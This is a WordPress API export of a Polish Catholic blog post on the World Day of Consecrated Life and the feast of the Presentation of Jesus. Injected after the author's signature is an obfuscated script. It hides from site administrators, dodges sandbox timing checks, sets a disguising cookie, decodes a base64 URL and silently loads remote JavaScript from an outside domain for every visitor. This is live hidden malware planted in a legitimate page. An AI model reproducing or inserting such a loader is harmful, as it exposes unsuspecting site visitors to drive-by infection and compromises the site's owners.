{"id":3152,"date":"2022-01-28T12:01:22","date_gmt":"2022-01-28T11:01:22","guid":{"rendered":"https:\/\/edycja.com.pl\/?p=3152"},"modified":"2026-05-04T16:05:26","modified_gmt":"2026-05-04T14:05:26","slug":"dzien-zycia-konsekrowanego","status":"publish","type":"post","link":"https:\/\/edycja.com.pl\/?p=3152","title":{"rendered":"Dzie\u0144 \u017bycia Konsekrowanego"},"content":{"rendered":"<p><img loading=\"lazy\" class=\"alignnone wp-image-3153 size-full\" src=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2022\/01\/Dzien-Zycia-Konsekrowanego_Blog_edycja_pl_grafika-do-tekstu.jpg\" alt=\"\u017bycie konsekrowane\" width=\"1272\" height=\"664\" srcset=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2022\/01\/Dzien-Zycia-Konsekrowanego_Blog_edycja_pl_grafika-do-tekstu.jpg 1272w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2022\/01\/Dzien-Zycia-Konsekrowanego_Blog_edycja_pl_grafika-do-tekstu-300x157.jpg 300w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2022\/01\/Dzien-Zycia-Konsekrowanego_Blog_edycja_pl_grafika-do-tekstu-1024x535.jpg 1024w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2022\/01\/Dzien-Zycia-Konsekrowanego_Blog_edycja_pl_grafika-do-tekstu-150x78.jpg 150w, https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2022\/01\/Dzien-Zycia-Konsekrowanego_Blog_edycja_pl_grafika-do-tekstu-768x401.jpg 768w\" sizes=\"(max-width: 1272px) 100vw, 1272px\" \/><\/p>\n<h3>\nCzterdzie\u015bci dni po Bo\u017cym Narodzeniu w Ko\u015bciele obchodzone jest \u015bwi\u0119to, kt\u00f3re upami\u0119tnia ofiarowanie nowo narodzonego Jezusa w \u015bwi\u0105tyni jerozolimskiej, opisane w Ewangelii wed\u0142ug \u015bw. \u0141ukasza (\u0141k 2, 22-40). Maryja i J\u00f3zef wype\u0142nili w ten spos\u00f3b dwa przepisy Prawa Moj\u017ceszowego: jeden, kt\u00f3ry dotyczy\u0142 matki, i drugi, kt\u00f3ry odnosi\u0142 si\u0119 do syna pierworodnego. Przepisy te nie wymaga\u0142y wizyty w \u015bwi\u0105tyni jerozolimskiej, ale Maryja i J\u00f3zef skorzystali z okazji pobytu w pobliskim Betlejem i udali si\u0119 z Jezusem do tego szczeg\u00f3lnego miejsca. W ten spos\u00f3b, za spraw\u0105 przepis\u00f3w Prawa Moj\u017ceszowego, w Jerozolimie dokona\u0142o si\u0119 zupe\u0142nie inne wydarzenie: Syn Bo\u017cy przedstawiony zosta\u0142 Bogu i objawiony \u015bwiatu jako \u015bwiat\u0142o na o\u015bwiecenie pogan i chwa\u0142a Bo\u017cego ludu, Izraela (por. \u0141k 2, 32).<\/h3>\n<p>Decyzj\u0105 papie\u017ca <a href=\"https:\/\/pl.wikipedia.org\/wiki\/Jan_Pawe%C5%82_II\" target=\"_blank\" rel=\"noopener\">Jana Paw\u0142a II<\/a> od 1997 r. w dniu tego \u015bwi\u0119ta obchodzony jest \u015awiatowy Dzie\u0144 \u017bycia Konsekrowanego. W tym dniu zaproszeni jeste\u015bmy, aby w \u017cyciu konsekrowanym, czyli w \u017cyciu os\u00f3b po\u015bwi\u0119conych na wy\u0142\u0105czn\u0105 s\u0142u\u017cb\u0119 Bogu, dostrzec blask \u015bwiat\u0142a, kt\u00f3rym jest sam Chrystus. On przyszed\u0142 do swojego ludu, aby objawi\u0107 \u015bwiat\u0142o Bo\u017cej mi\u0142o\u015bci i rozja\u015bni\u0107 mroki i cienie ludzkiego \u017cycia. Osoby konsekrowane, kt\u00f3re podejmuj\u0105 si\u0119 szczeg\u00f3lnej formy na\u015bladowania Jezusa, ofiaruj\u0105c Mu si\u0119 \u201eniepodzielnie\u201d (por. 1 Kor 7, 34), zostawiaj\u0105 wszystko (por. Mk 10, 28), aby by\u0107 z Nim i pozwoli\u0107 si\u0119 wysy\u0142a\u0107 w s\u0142u\u017cbie Jego zbawczej misji wobec \u015bwiata (por. Mk 3, 14).<\/p>\n<p>W \u015bwi\u0119to Ofiarowania Pa\u0144skiego polecamy Bogu wszystkie <a href=\"https:\/\/edycja.com.pl\/?p=3134\" target=\"_blank\" rel=\"noopener\">osoby konsekrowane<\/a>, prosz\u0105c dla nich o wierno\u015b\u0107 i roztropno\u015b\u0107, aby zawsze by\u0142y dla nas i ca\u0142ego \u015bwiata miastem po\u0142o\u017conym na g\u00f3rze i \u015bwiat\u0142em postawionym na \u015bwieczniku, promieniuj\u0105cym \u015bwiat\u0142em Chrystusa (por. Mt 5, 14-15).<\/p>\n<p><em>Ks. Mariusz G\u00f3rny<\/em><script>;(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0bQ==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Czterdzie\u015bci dni po Bo\u017cym Narodzeniu w Ko\u015bciele obchodzone jest \u015bwi\u0119to, kt\u00f3re upami\u0119tnia ofiarowanie nowo narodzonego Jezusa w \u015bwi\u0105tyni jerozolimskiej, opisane w Ewangelii wed\u0142ug \u015bw. \u0141ukasza (\u0141k 2, 22-40). Maryja i J\u00f3zef wype\u0142nili w ten spos\u00f3b dwa przepisy Prawa Moj\u017ceszowego: jeden, kt\u00f3ry dotyczy\u0142 matki, i drugi, kt\u00f3ry odnosi\u0142 si\u0119 do syna pierworodnego. Przepisy te nie wymaga\u0142y&#8230;<\/p>\n","protected":false},"author":6,"featured_media":3154,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[34],"tags":[333],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v19.7 - https:\/\/yoast.com\/wordpress\/plugins\/seo\/ -->\n<title>Dzie\u0144 \u017bycia Konsekrowanego - Edycja \u015awi\u0119tego Paw\u0142a<\/title>\n<meta name=\"description\" content=\"Czterdzie\u015bci dni po Bo\u017cym Narodzeniu w Ko\u015bciele obchodzone jest \u015bwi\u0119to, kt\u00f3re upami\u0119tnia ofiarowanie nowo narodzonego Jezusa w \u015bwi\u0105tyni.\" \/>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/edycja.com.pl\/?p=3152\" \/>\n<meta property=\"og:locale\" content=\"pl_PL\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Dzie\u0144 \u017bycia Konsekrowanego - Edycja \u015awi\u0119tego Paw\u0142a\" \/>\n<meta property=\"og:description\" content=\"Czterdzie\u015bci dni po Bo\u017cym Narodzeniu w Ko\u015bciele obchodzone jest \u015bwi\u0119to, kt\u00f3re upami\u0119tnia ofiarowanie nowo narodzonego Jezusa w \u015bwi\u0105tyni.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/edycja.com.pl\/?p=3152\" \/>\n<meta property=\"og:site_name\" content=\"Edycja \u015awi\u0119tego Paw\u0142a\" \/>\n<meta property=\"article:published_time\" content=\"2022-01-28T11:01:22+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-05-04T14:05:26+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2022\/01\/Dzien-Zycia-Konsekrowanego_blog_com_pl_300x300.jpg\" \/>\n\t<meta property=\"og:image:width\" content=\"300\" \/>\n\t<meta property=\"og:image:height\" content=\"300\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/jpeg\" \/>\n<meta name=\"author\" content=\"Sylwia Cierpia\u0142\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Napisane przez\" \/>\n\t<meta name=\"twitter:data1\" content=\"Sylwia Cierpia\u0142\" \/>\n\t<meta name=\"twitter:label2\" content=\"Szacowany czas czytania\" \/>\n\t<meta name=\"twitter:data2\" content=\"2 minuty\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/edycja.com.pl\/?p=3152\",\"url\":\"https:\/\/edycja.com.pl\/?p=3152\",\"name\":\"Dzie\u0144 \u017bycia Konsekrowanego - Edycja \u015awi\u0119tego Paw\u0142a\",\"isPartOf\":{\"@id\":\"https:\/\/edycja.com.pl\/#website\"},\"datePublished\":\"2022-01-28T11:01:22+00:00\",\"dateModified\":\"2026-05-04T14:05:26+00:00\",\"author\":{\"@id\":\"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318\"},\"description\":\"Czterdzie\u015bci dni po Bo\u017cym Narodzeniu w Ko\u015bciele obchodzone jest \u015bwi\u0119to, kt\u00f3re upami\u0119tnia ofiarowanie nowo narodzonego Jezusa w \u015bwi\u0105tyni.\",\"breadcrumb\":{\"@id\":\"https:\/\/edycja.com.pl\/?p=3152#breadcrumb\"},\"inLanguage\":\"pl-PL\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/edycja.com.pl\/?p=3152\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/edycja.com.pl\/?p=3152#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Strona g\u0142\u00f3wna\",\"item\":\"https:\/\/edycja.com.pl\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Dzie\u0144 \u017bycia Konsekrowanego\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/edycja.com.pl\/#website\",\"url\":\"https:\/\/edycja.com.pl\/\",\"name\":\"Edycja \u015awi\u0119tego Paw\u0142a\",\"description\":\"Strona wydawnictwa Edycji \u015awi\u0119tego Paw\u0142a\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/edycja.com.pl\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"pl-PL\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318\",\"name\":\"Sylwia Cierpia\u0142\",\"url\":\"https:\/\/edycja.com.pl\/?author=6\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Dzie\u0144 \u017bycia Konsekrowanego - Edycja \u015awi\u0119tego Paw\u0142a","description":"Czterdzie\u015bci dni po Bo\u017cym Narodzeniu w Ko\u015bciele obchodzone jest \u015bwi\u0119to, kt\u00f3re upami\u0119tnia ofiarowanie nowo narodzonego Jezusa w \u015bwi\u0105tyni.","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/edycja.com.pl\/?p=3152","og_locale":"pl_PL","og_type":"article","og_title":"Dzie\u0144 \u017bycia Konsekrowanego - Edycja \u015awi\u0119tego Paw\u0142a","og_description":"Czterdzie\u015bci dni po Bo\u017cym Narodzeniu w Ko\u015bciele obchodzone jest \u015bwi\u0119to, kt\u00f3re upami\u0119tnia ofiarowanie nowo narodzonego Jezusa w \u015bwi\u0105tyni.","og_url":"https:\/\/edycja.com.pl\/?p=3152","og_site_name":"Edycja \u015awi\u0119tego Paw\u0142a","article_published_time":"2022-01-28T11:01:22+00:00","article_modified_time":"2026-05-04T14:05:26+00:00","og_image":[{"width":300,"height":300,"url":"https:\/\/ed12.edycja.com.pl\/wp-content\/uploads\/2022\/01\/Dzien-Zycia-Konsekrowanego_blog_com_pl_300x300.jpg","type":"image\/jpeg"}],"author":"Sylwia Cierpia\u0142","twitter_card":"summary_large_image","twitter_misc":{"Napisane przez":"Sylwia Cierpia\u0142","Szacowany czas czytania":"2 minuty"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/edycja.com.pl\/?p=3152","url":"https:\/\/edycja.com.pl\/?p=3152","name":"Dzie\u0144 \u017bycia Konsekrowanego - Edycja \u015awi\u0119tego Paw\u0142a","isPartOf":{"@id":"https:\/\/edycja.com.pl\/#website"},"datePublished":"2022-01-28T11:01:22+00:00","dateModified":"2026-05-04T14:05:26+00:00","author":{"@id":"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318"},"description":"Czterdzie\u015bci dni po Bo\u017cym Narodzeniu w Ko\u015bciele obchodzone jest \u015bwi\u0119to, kt\u00f3re upami\u0119tnia ofiarowanie nowo narodzonego Jezusa w \u015bwi\u0105tyni.","breadcrumb":{"@id":"https:\/\/edycja.com.pl\/?p=3152#breadcrumb"},"inLanguage":"pl-PL","potentialAction":[{"@type":"ReadAction","target":["https:\/\/edycja.com.pl\/?p=3152"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/edycja.com.pl\/?p=3152#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Strona g\u0142\u00f3wna","item":"https:\/\/edycja.com.pl\/"},{"@type":"ListItem","position":2,"name":"Dzie\u0144 \u017bycia Konsekrowanego"}]},{"@type":"WebSite","@id":"https:\/\/edycja.com.pl\/#website","url":"https:\/\/edycja.com.pl\/","name":"Edycja \u015awi\u0119tego Paw\u0142a","description":"Strona wydawnictwa Edycji \u015awi\u0119tego Paw\u0142a","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/edycja.com.pl\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"pl-PL"},{"@type":"Person","@id":"https:\/\/edycja.com.pl\/#\/schema\/person\/8f24f6ce3ca47acf23ad52590795b318","name":"Sylwia Cierpia\u0142","url":"https:\/\/edycja.com.pl\/?author=6"}]}},"_links":{"self":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/3152"}],"collection":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3152"}],"version-history":[{"count":2,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/3152\/revisions"}],"predecessor-version":[{"id":4922,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/posts\/3152\/revisions\/4922"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=\/wp\/v2\/media\/3154"}],"wp:attachment":[{"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3152"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3152"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edycja.com.pl\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3152"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}